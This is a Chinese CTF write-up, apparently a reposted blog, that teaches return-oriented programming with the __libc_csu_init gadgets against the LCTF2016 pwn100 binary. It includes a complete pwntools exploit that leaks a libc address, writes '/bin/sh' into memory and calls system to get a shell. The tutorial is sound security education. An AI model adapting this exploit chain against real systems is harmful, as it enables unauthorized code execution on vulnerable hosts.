[pwn]ROP:使用通用gadget

[详细] ROP:使用通用gadget

这次试用的是LCTF2016的试题pwn100,参考i春秋上的这篇文章 在这里详细讲解如何利用通用gadget构造一个复杂的ROP链。
程序链接:https://pan.baidu.com/s/1w9cQfAF93zFEEmqKFfrpyQ 提取码:v2d3

通用gadget介绍

介绍一段通用的gadget,通常出现在64elf位文件的__libc_csu_init函数中(截图来自本程序pwn100,很多64位二进制文件都有):
在这里插入图片描述
这其中有三段gadget,第一段是

pop     rbx
pop     rbp
pop     r12
pop     r13
pop     r14
pop     r15
retn

第二段是:

mov     rdx, r13
mov     rsi, r14
mov     edi, r15d
call    qword ptr [r12+rbx*8]

当然还隐藏了第三段:

pop     rdi
retn

因为pop r15的机器码是0x415f,而pop rdi的机器码是0x5f所以只要将pop r15;retn这段指令分割就会获得pop rdi;retn。

由于**在64位elf文件中调用函数参数不再只放在栈中,而是前5个参数放在rdi, rsi, rdx, rcx, r8, r9寄存器中,然后还有多余的参数依次入栈。**所以在pwn64位程序的时候需要操作这些寄存器。

信息搜集

在这里插入图片描述
64位,开启了NX策略,需要ROP。

接下来看看程序的反汇编代码,主要结构是main函数调用了68E,而在63E中又调用了63D:
在这里插入图片描述
main函数什么都没写,68E中也只是调用了63D,溢出点主要出现在63D中,63D实现的功能是将任意数量的字符串读入栈空间中:
在这里插入图片描述
而在68E中申请了一个距栈底40h的字符,却向其中写入长达200字节的内容,很显然造成了溢出:
在这里插入图片描述

寻找溢出位置

简单计算可知在4*16+8(v1距栈底40h,再加上一个入栈的ebp,下面就是eip)的下一个字节会溢出覆盖返回值也就是73字节处,但在执行的时候必须输满200字节才会进行到下一步:
在这里插入图片描述

利用思路

现在有了返回地址覆盖的位置,需要做的就是找到getshell需要的函数,system和"/bin/sh"字符串。由于程序并没有在内部调用system,但程序导入了外部libc文件,我们需要使用命令"ls -l /lib/x86_64-linux-gnu/libc.so.6"来查看我们环境中的libc文件,然后可以直接调试查看system在libc中的位置,我们还需要"/bin/sh"字符串,在libc中也可以找到,但这次为了演示通用gadget,我们选择自己调用read函数输入(相对比较麻烦,在下面介绍)。:

外部函数:
在这里插入图片描述
system地址:0x44BF0
在这里插入图片描述
另外这只是在libc文件中的地址,在程序执行的时候装载到内存中并不是这个地址,所以我们需要根据公式:**system在内存中的地址=system在libc文件中的地址+(read函数在内存中的地址-read函数在libc文件中的地址)**来求得,所以我们还需要一个read函数在libc中的地址:0xEA7C0
在这里插入图片描述
接下来的任务是获得puts动态加载在内存中的地址,首先找到之前提到的三段通用gadget,并记录其地址(就在main函数下面,最上面有截图):

#!/usr/bin/python
#coding:utf-8

from pwn import *

elf1 = ELF('./pwn100')
elf=process('./pwn100')
puts_plt_addr=0x400500      #puts函数地址
read_got_addr=elf1.got['read'] #read在got表中的地址(动态)

start_addr=0x400550         #程序开始
read_libc_addr=0xEA7C0      #read在libc文件中的地址   本机0xEA7C0   
system_libc_addr=0x44BF0    #system在libc文件中的地址  本机0x44BF0   
gadget1_addr=0x40075A       #mov;...;call
gadget2_addr=0x400740       #pop;pop;pop...
gadget3_addr=0x400763       #pop rdi; retn

对于read函数在内存中的地址并不能直接获取(不像有些题目直接会给你),需要我们自己调用puts函数输出,思路就是利用栈溢出调用puts函数(调用puts可以直接指向plt表中puts函数的地址),然后输出got表中read函数的地址(got表只有在执行后才能知道),代码如下:

payload='A'*72              #padding
payload+=p64(gadget3_addr)  #pop rdi; retn
payload+=p64(read_got_addr) #puts的参数,read在内存中的地址
payload+=p64(puts_plt_addr) #retn直接返回的就是puts
payload+=p64(start_addr)    #回到开始状态重新来,还没有getshell
payload+='B'*(200-len(payload))  #补充到200

elf.send(payload)
elf.recvuntil('bye~\n')
read_addr=u64(elf.recv()[:-1].ljust(8, '\x00'))
system_addr=read_addr - read_libc_addr+system_libc_addr #公式

接下来要通过read函数来读入"/bin/sh"字符串,read函数的地址我们已经知道了(可以用刚获取的内存中的地址,或是plt表中的地址都可以,就直接用刚获取的避免变量太多)。read函数需要三个参数,第一个参数fd为0,第二个参数为写入的地址,第三个参数为长度,我们需要给binsh选一个地址,我看data段就不错(选哪里能写不报错这个我也是每次都选了好几次,有得地方修改就报错,我也没什么规律。。):
在这里插入图片描述
所以利用代码如下:

binsh_addr=0x601040         #选择的binsh存储位置
payload='A'*72              #padding
payload+=p64(gadget1_addr)  #gadget1
payload+=p64(0)             #rbx寄存器=0,方便之后直接call到r12,
payload+=p64(1)             #rbp = 1,阻止跳转
payload+=p64(read_got_addr)     #read的地址,call这里
payload+=p64(8)             #read函数第三个参数,一会gadget2会将它给rdx
payload+=p64(binsh_addr)    #read函数第二个参数,一会gadget2会将它给rsi
payload+=p64(0)             #read函数第一个参数,一会gadget2会将它给rdi
payload+=p64(gadget2_addr)  #gadget1最后的retn会将这里转给rip,也就是接下来执行gadget2
payload+='C'*56             #gadget2执行完后会自动再执行一遍gadget1,有1个降栈和6个出栈操作,共56字节
payload+=p64(start_addr)    #之后retn会将这里给rip,继续重新开始
payload+='B'*(200-len(payload))  #补充到200

elf.send(payload)
elf.recvuntil('bye~\n')
elf.send("/bin/sh\x00")

说明一下此处的逻辑,先执行gadget1,后执行gadget2,在gadget1中操作的几个寄存器在gadget2中有不同的作用:

  • 在gadget1中存入r13,r14,r15三个寄存器中的值会在gadget2中复制如rdx,rsi,edi三个寄存器方便作为将要调用的函数的参数
  • 在gadget1中存入rbx,r12寄存器的值会在gadget1中编程call调用的地址(r12+rbx*8),方便直接调用我们通常将地址直接存入r12寄存器,然后领rbx=0,这也方便在接下来的比较
  • 在gadget1中存入rbp中的值会在gadget2中与rbx作比较,rbx我们都设置的是0,然后gadget2中会将其+1,若rbp和rbx不相等则会跳转回gadget2开始位置重新执行一遍(不需要)。
    在这里插入图片描述
    但需要注意的是,虽然我们可以通过栈溢出来控制先执行gadget1后执行gadget2,但在函数位置上,gadget1是在gadget2之后的,所以在gadget2执行结束后,我们通过控制不让它循环,他会继续再执行一遍gadget1,这也是为什么代码中间有一句payload+=‘C’*56的原因,gadget1中包含一次降栈和6个出栈操作,共56字节,我们需要将这56字节操作“顶”过去,然后才能返回到我们想要返回的地方。

现在,system函数地址有了,"/bin/sh"也输入了,接下来再重新来一遍直接进行getshell即可:

payload='A'*72              #padding
payload+=p64(gadget3_addr)  #pop rdi; retn
payload+=p64(binsh_addr)    #system的参数binsh
payload+=p64(system_addr)   #retn直接返回的就是system
payload+='B'*(200-len(payload))  #补充到200
elf.send(payload)

elf.interactive()

将上面几部分代码按顺序拼一起就是exp了。当然这道题有更简单的解法,就是关于"/bin/sh"字符串的获取,可以直接在libc中根据偏移地址计算得到,但为了演示通用gadget这里选择了一个复杂的方法。总之成功pwn:
在这里插入图片描述

发布了56 篇原创文章 · 获赞 288 · 访问量 18万+

猜你喜欢

转载自blog.csdn.net/Breeze_CAT/article/details/94862850
ROP